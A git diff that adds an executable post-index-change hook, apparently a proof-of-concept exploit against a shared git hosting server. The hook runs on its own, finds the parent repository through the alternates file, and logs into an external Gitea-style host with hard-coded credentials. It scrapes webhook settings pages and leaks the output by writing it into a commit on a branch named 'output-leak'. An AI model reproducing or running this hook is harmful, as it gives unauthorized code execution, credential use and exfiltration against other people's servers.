diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..e6a8886 --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,22 @@ +#!/bin/sh +GD=$(git rev-parse --absolute-git-dir) +REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||') +OUT=$( { +J=/tmp/i19cj; : > $J +curl -sk -m 10 -c $J -o /tmp/lg 'https://gfr.technocs.ru/git/user/login' +CS=$(grep -o 'name="_csrf" value="[^"]*"' /tmp/lg | sed -E 's/.*value="([^"]*)"/\1/' | head -1) +echo "csrf=${CS:0:10}" +curl -sk -m 10 -b $J -c $J -X POST --data-urlencode 'user_name=w10019user' --data-urlencode 'password=Str0ng!Pass#2026' --data-urlencode "_csrf=$CS" -o /tmp/lp -w "login=%{http_code} loc=%{redirect_url}\n" 'https://gfr.technocs.ru/git/user/login' +curl -sk -m 10 -b $J 'https://gfr.technocs.ru/git/' -o /tmp/root -w "root=%{http_code}\n"; grep -o 'w10019user\|Sign In\|Sign In / Register' /tmp/root | sort | uniq -c | head +for id in 9 10; do + echo "===== HOOK $id =====" + curl -sk -m 10 -b $J "https://gfr.technocs.ru/git/w10019user/docs-probe/settings/hooks/$id" -o /tmp/hp$id -w "page=%{http_code} bytes=%{size_download}\n" + grep -i -A3 -B1 -E 'response code|response body|delivery|last status' /tmp/hp$id | sed -E 's/<[^>]+>//g' | tr -s ' \n' ' \n' | head -25 +done +echo DONE + +} 2>&1; echo "[rc=$?]") +BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin) +TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree) +CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve output") +git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"